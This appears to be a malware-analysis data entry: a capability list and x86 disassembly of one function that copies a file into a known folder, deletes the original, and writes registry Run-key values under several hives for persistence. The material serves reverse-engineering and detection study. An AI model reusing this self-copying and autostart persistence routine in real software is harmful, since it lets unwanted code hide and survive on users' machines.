Function at 0x402bf0
Capabilities:
Copy file
Create directory
Delete file
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push 5
lea eax, [ebp - 0x1c]
push eax
call fcn.00401350
add esp, 8
lea ecx, [ebp - 0x224]
push ecx
push 0
push 0
push section..text
call sub.SHELL32.dll_SHGetKnownFolderPath
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x224]
push eax
push 0x40680c
push 0x407620
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
push 0x407620
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x406818
push 0x407620
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea ecx, [ebp - 0x1c]
push ecx
push 0x407620
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x40681c
push 0x407620
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0x407620
push 0x407840
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x407840
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x407ac0
call fcn.004013f0
add esp, 4
push 0x4a
push 0x4075c0
push 0x407ac0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407ac0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0xc], 0
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push 0x406784
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0x407ac0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
push 0x407ac0
push 1
push 0
push 0x406758
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push 0
push 0x4067a4
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x402def
push 0x407620
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
push edx
push 0x407620
push 1
push 0
push 0x4075c0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x402d94
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x402def
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x4067d4
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x407620
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push ecx
push 0x407620
push 1
push 0
push 0x4075c0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push 0
push 0x4067a4
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x407620
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
push edx
push 0x407620
push 1
push 0
push 0x4075c0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret